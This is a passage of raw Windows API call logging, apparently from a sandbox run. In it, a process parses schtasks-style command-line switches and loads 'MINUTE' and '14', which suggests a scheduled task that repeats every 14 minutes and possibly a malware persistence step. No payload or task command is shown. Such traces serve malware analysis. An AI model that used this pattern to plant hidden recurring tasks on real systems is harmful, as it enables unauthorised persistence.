returned 6 [0140.464] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.464] lstrlenW (lpString="f") returned 1 [0140.464] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.464] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|create|") returned 8 [0140.464] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|f|") returned 3 [0140.464] lstrlenW (lpString="|create|") returned 8 [0140.464] lstrlenW (lpString="|f|") returned 3 [0140.464] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0140.464] SetLastError (dwErrCode=0x490) [0140.464] lstrlenW (lpString="?") returned 1 [0140.465] lstrlenW (lpString="?") returned 1 [0140.465] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.465] lstrlenW (lpString="f") returned 1 [0140.465] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.465] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|?|") returned 3 [0140.465] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|f|") returned 3 [0140.465] lstrlenW (lpString="|?|") returned 3 [0140.465] lstrlenW (lpString="|f|") returned 3 [0140.465] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0140.465] SetLastError (dwErrCode=0x490) [0140.465] lstrlenW (lpString="s") returned 1 [0140.465] lstrlenW (lpString="s") returned 1 [0140.465] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.465] lstrlenW (lpString="f") returned 1 [0140.465] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.465] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|s|") returned 3 [0140.465] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|f|") returned 3 [0140.465] lstrlenW (lpString="|s|") returned 3 [0140.465] lstrlenW (lpString="|f|") returned 3 [0140.465] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0140.465] SetLastError (dwErrCode=0x490) [0140.465] lstrlenW (lpString="u") returned 1 [0140.465] lstrlenW (lpString="u") returned 1 [0140.465] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.465] lstrlenW (lpString="f") returned 1 [0140.465] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.466] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|u|") returned 3 [0140.466] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|f|") returned 3 [0140.466] lstrlenW (lpString="|u|") returned 3 [0140.466] lstrlenW (lpString="|f|") returned 3 [0140.466] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0140.466] SetLastError (dwErrCode=0x490) [0140.466] lstrlenW (lpString="p") returned 1 [0140.466] lstrlenW (lpString="p") returned 1 [0140.466] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.466] lstrlenW (lpString="f") returned 1 [0140.466] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.466] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|p|") returned 3 [0140.466] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|f|") returned 3 [0140.466] lstrlenW (lpString="|p|") returned 3 [0140.466] lstrlenW (lpString="|f|") returned 3 [0140.466] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0140.466] SetLastError (dwErrCode=0x490) [0140.466] lstrlenW (lpString="ru") returned 2 [0140.466] lstrlenW (lpString="ru") returned 2 [0140.466] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.466] lstrlenW (lpString="f") returned 1 [0140.466] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.466] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|ru|") returned 4 [0140.466] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|f|") returned 3 [0140.466] lstrlenW (lpString="|ru|") returned 4 [0140.466] lstrlenW (lpString="|f|") returned 3 [0140.466] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0140.466] SetLastError (dwErrCode=0x490) [0140.467] lstrlenW (lpString="rp") returned 2 [0140.467] lstrlenW (lpString="rp") returned 2 [0140.467] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.467] lstrlenW (lpString="f") returned 1 [0140.467] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.467] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|rp|") returned 4 [0140.467] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|f|") returned 3 [0140.467] lstrlenW (lpString="|rp|") returned 4 [0140.467] lstrlenW (lpString="|f|") returned 3 [0140.467] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0140.467] SetLastError (dwErrCode=0x490) [0140.467] lstrlenW (lpString="sc") returned 2 [0140.467] lstrlenW (lpString="sc") returned 2 [0140.467] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.467] lstrlenW (lpString="f") returned 1 [0140.467] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.467] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|sc|") returned 4 [0140.467] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|f|") returned 3 [0140.467] lstrlenW (lpString="|sc|") returned 4 [0140.467] lstrlenW (lpString="|f|") returned 3 [0140.467] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0140.467] SetLastError (dwErrCode=0x490) [0140.467] lstrlenW (lpString="mo") returned 2 [0140.467] lstrlenW (lpString="mo") returned 2 [0140.467] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.467] lstrlenW (lpString="f") returned 1 [0140.467] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.467] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|mo|") returned 4 [0140.468] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|f|") returned 3 [0140.468] lstrlenW (lpString="|mo|") returned 4 [0140.468] lstrlenW (lpString="|f|") returned 3 [0140.468] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0140.468] SetLastError (dwErrCode=0x490) [0140.468] lstrlenW (lpString="d") returned 1 [0140.468] lstrlenW (lpString="d") returned 1 [0140.468] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.468] lstrlenW (lpString="f") returned 1 [0140.468] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.468] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|d|") returned 3 [0140.468] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|f|") returned 3 [0140.468] lstrlenW (lpString="|d|") returned 3 [0140.468] lstrlenW (lpString="|f|") returned 3 [0140.468] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0140.468] SetLastError (dwErrCode=0x490) [0140.468] lstrlenW (lpString="m") returned 1 [0140.468] lstrlenW (lpString="m") returned 1 [0140.468] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.468] lstrlenW (lpString="f") returned 1 [0140.468] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.468] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|m|") returned 3 [0140.468] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|f|") returned 3 [0140.468] lstrlenW (lpString="|m|") returned 3 [0140.468] lstrlenW (lpString="|f|") returned 3 [0140.468] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0140.468] SetLastError (dwErrCode=0x490) [0140.468] lstrlenW (lpString="i") returned 1 [0140.469] lstrlenW (lpString="i") returned 1 [0140.469] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.469] lstrlenW (lpString="f") returned 1 [0140.469] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.469] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|i|") returned 3 [0140.469] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|f|") returned 3 [0140.469] lstrlenW (lpString="|i|") returned 3 [0140.469] lstrlenW (lpString="|f|") returned 3 [0140.469] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0140.469] SetLastError (dwErrCode=0x490) [0140.469] lstrlenW (lpString="tn") returned 2 [0140.469] lstrlenW (lpString="tn") returned 2 [0140.469] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.469] lstrlenW (lpString="f") returned 1 [0140.469] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.469] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tn|") returned 4 [0140.469] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|f|") returned 3 [0140.469] lstrlenW (lpString="|tn|") returned 4 [0140.469] lstrlenW (lpString="|f|") returned 3 [0140.469] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0140.469] SetLastError (dwErrCode=0x490) [0140.469] lstrlenW (lpString="tr") returned 2 [0140.469] lstrlenW (lpString="tr") returned 2 [0140.469] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.469] lstrlenW (lpString="f") returned 1 [0140.469] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.469] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tr|") returned 4 [0140.470] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|f|") returned 3 [0140.470] lstrlenW (lpString="|tr|") returned 4 [0140.470] lstrlenW (lpString="|f|") returned 3 [0140.470] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0140.470] SetLastError (dwErrCode=0x490) [0140.470] lstrlenW (lpString="st") returned 2 [0140.470] lstrlenW (lpString="st") returned 2 [0140.470] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.470] lstrlenW (lpString="f") returned 1 [0140.470] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.470] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|st|") returned 4 [0140.470] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|f|") returned 3 [0140.470] lstrlenW (lpString="|st|") returned 4 [0140.470] lstrlenW (lpString="|f|") returned 3 [0140.470] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0140.470] SetLastError (dwErrCode=0x490) [0140.470] lstrlenW (lpString="sd") returned 2 [0140.470] lstrlenW (lpString="sd") returned 2 [0140.470] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.470] lstrlenW (lpString="f") returned 1 [0140.470] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.471] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|sd|") returned 4 [0140.471] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|f|") returned 3 [0140.471] lstrlenW (lpString="|sd|") returned 4 [0140.471] lstrlenW (lpString="|f|") returned 3 [0140.471] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0140.471] SetLastError (dwErrCode=0x490) [0140.471] lstrlenW (lpString="ed") returned 2 [0140.471] lstrlenW (lpString="ed") returned 2 [0140.471] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.471] lstrlenW (lpString="f") returned 1 [0140.471] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.471] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|ed|") returned 4 [0140.471] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|f|") returned 3 [0140.471] lstrlenW (lpString="|ed|") returned 4 [0140.471] lstrlenW (lpString="|f|") returned 3 [0140.471] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0140.471] SetLastError (dwErrCode=0x490) [0140.471] lstrlenW (lpString="it") returned 2 [0140.471] lstrlenW (lpString="it") returned 2 [0140.471] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.471] lstrlenW (lpString="f") returned 1 [0140.471] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.471] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|it|") returned 4 [0140.471] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|f|") returned 3 [0140.471] lstrlenW (lpString="|it|") returned 4 [0140.471] lstrlenW (lpString="|f|") returned 3 [0140.471] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0140.471] SetLastError (dwErrCode=0x490) [0140.472] lstrlenW (lpString="et") returned 2 [0140.472] lstrlenW (lpString="et") returned 2 [0140.472] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.472] lstrlenW (lpString="f") returned 1 [0140.472] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.472] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|et|") returned 4 [0140.472] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|f|") returned 3 [0140.472] lstrlenW (lpString="|et|") returned 4 [0140.472] lstrlenW (lpString="|f|") returned 3 [0140.472] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0140.472] SetLastError (dwErrCode=0x490) [0140.472] lstrlenW (lpString="k") returned 1 [0140.472] lstrlenW (lpString="k") returned 1 [0140.472] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.472] lstrlenW (lpString="f") returned 1 [0140.472] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.472] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|k|") returned 3 [0140.472] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|f|") returned 3 [0140.472] lstrlenW (lpString="|k|") returned 3 [0140.472] lstrlenW (lpString="|f|") returned 3 [0140.472] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0140.472] SetLastError (dwErrCode=0x490) [0140.472] lstrlenW (lpString="du") returned 2 [0140.472] lstrlenW (lpString="du") returned 2 [0140.472] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.472] lstrlenW (lpString="f") returned 1 [0140.472] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.472] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|du|") returned 4 [0140.473] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|f|") returned 3 [0140.473] lstrlenW (lpString="|du|") returned 4 [0140.473] lstrlenW (lpString="|f|") returned 3 [0140.473] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0140.473] SetLastError (dwErrCode=0x490) [0140.473] lstrlenW (lpString="ri") returned 2 [0140.473] lstrlenW (lpString="ri") returned 2 [0140.473] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.473] lstrlenW (lpString="f") returned 1 [0140.473] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.473] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|ri|") returned 4 [0140.473] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|f|") returned 3 [0140.473] lstrlenW (lpString="|ri|") returned 4 [0140.473] lstrlenW (lpString="|f|") returned 3 [0140.473] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0140.473] SetLastError (dwErrCode=0x490) [0140.473] lstrlenW (lpString="z") returned 1 [0140.473] lstrlenW (lpString="z") returned 1 [0140.473] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.473] lstrlenW (lpString="f") returned 1 [0140.473] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.473] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|z|") returned 3 [0140.473] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|f|") returned 3 [0140.473] lstrlenW (lpString="|z|") returned 3 [0140.473] lstrlenW (lpString="|f|") returned 3 [0140.473] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0140.473] SetLastError (dwErrCode=0x490) [0140.473] lstrlenW (lpString="f") returned 1 [0140.474] lstrlenW (lpString="f") returned 1 [0140.474] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.474] lstrlenW (lpString="f") returned 1 [0140.474] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.474] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|f|") returned 3 [0140.474] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|f|") returned 3 [0140.474] lstrlenW (lpString="|f|") returned 3 [0140.474] lstrlenW (lpString="|f|") returned 3 [0140.474] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0140.474] SetLastError (dwErrCode=0x0) [0140.474] SetLastError (dwErrCode=0x0) [0140.474] GetProcessHeap () returned 0x130000 [0140.474] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cd10 [0140.474] _memicmp (_Buf1=0x14bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.474] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x14d2a0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0140.474] lstrlenW (lpString="MINUTE") returned 6 [0140.474] GetProcessHeap () returned 0x130000 [0140.474] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0xe) returned 0x14d5a0 [0140.474] GetThreadLocale () returned 0x409 [0140.474] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0140.474] SetLastError (dwErrCode=0x0) [0140.474] GetProcessHeap () returned 0x130000 [0140.474] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x1fc) returned 0x14c270 [0140.474] GetProcessHeap () returned 0x130000 [0140.475] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cce0 [0140.475] _memicmp (_Buf1=0x14bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.475] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x14d2a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0140.475] lstrlenW (lpString="First") returned 5 [0140.475] GetProcessHeap () returned 0x130000 [0140.475] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0xc) returned 0x14d5c0 [0140.475] GetProcessHeap () returned 0x130000 [0140.475] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14ccb0 [0140.475] _memicmp (_Buf1=0x14bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.475] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x14d2a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0140.475] lstrlenW (lpString="Second") returned 6 [0140.475] GetProcessHeap () returned 0x130000 [0140.475] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0xe) returned 0x14d5e0 [0140.475] GetProcessHeap () returned 0x130000 [0140.475] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cc80 [0140.475] _memicmp (_Buf1=0x14bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.475] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x14d2a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0140.475] lstrlenW (lpString="Third") returned 5 [0140.475] GetProcessHeap () returned 0x130000 [0140.475] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0xc) returned 0x14d600 [0140.475] GetProcessHeap () returned 0x130000 [0140.475] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cc50 [0140.475] _memicmp (_Buf1=0x14bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.475] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x14d2a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0140.475] lstrlenW (lpString="Fourth") returned 6 [0140.475] GetProcessHeap () returned 0x130000 [0140.475] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0xe) returned 0x14d620 [0140.475] GetProcessHeap () returned 0x130000 [0140.475] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cc20 [0140.475] _memicmp (_Buf1=0x14bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.476] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x14d2a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0140.476] lstrlenW (lpString="Last") returned 4 [0140.476] GetProcessHeap () returned 0x130000 [0140.476] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0xa) returned 0x14d640 [0140.476] lstrlenW (lpString="14") returned 2 [0140.476] _wtol (_String="14") returned 14 [0140.476] GetProcessHeap () returned 0x130000 [0140.476] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cbf0 [0140.476] _memicmp (_Buf1=0x14bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.476] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x14d2a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0140.476] lstrlenW (lpString="First") returned 5 [0140.476] GetProcessHeap () returned 0x130000 [0140.476] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0xc) returned 0x14d660 [0140.476] _memicmp (_Buf1=0x14bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.476] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x14d2a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0140.476] lstrlenW (lpString="Second") returned 6 [0140.476] GetProcessHeap () returned 0x130000 [0140.476] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0xe) returned 0x14d680 [0140.476] _memicmp (_Buf1=0x14bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.476] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x14d2a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0140.476] lstrlenW (lpString="Third") returned 5 [0140.476] _memicmp (_Buf1=0x14bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.476] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x14d2a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0140.476] lstrlenW (lpString="Fourth") returned 6 [0140.476] _memicmp (_Buf1=0x14bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.476] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x14d2a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0140.476] lstrlenW (lpString="Last") returned 4 [0140.477] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x11c300, cchData=128 | out: lpLCData="0") returned 2 [0140.477] _memicmp (_Buf1=0x14bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.477] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x14d2a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0140.477] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0140.477] GetProcessHeap () returned 0x130000 [0140.477] GetProcessHeap () returned 0x130000 [0140.477] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d5c0) returned 1 [0140.477] GetProcessHeap () returned 0x130000 [0140.477] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d5c0) returned 0xc [0140.477] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d5c0 | out: hHeap=0x130000) returned 1 [0140.477] GetProcessHeap () returned 0x130000 [0140.477] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x16) returned 0x14d5c0 [0140.477] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x11c320, cchData=128 | out: lpLCData="0") returned 2 [0140.477] _memicmp (_Buf1=0x14bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.477] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x14d2a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0140.477] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0140.477] GetProcessHeap () returned 0x130000 [0140.477] GetProcessHeap () returned 0x130000 [0140.477] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d5e0) returned 1 [0140.477] GetProcessHeap () returned 0x130000 [0140.477] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d5e0) returned 0xe [0140.477] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d5e0 | out: hHeap=0x130000) returned 1 [0140.477] GetProcessHeap () returned 0x130000 [0140.477] RtlAllocateHeap 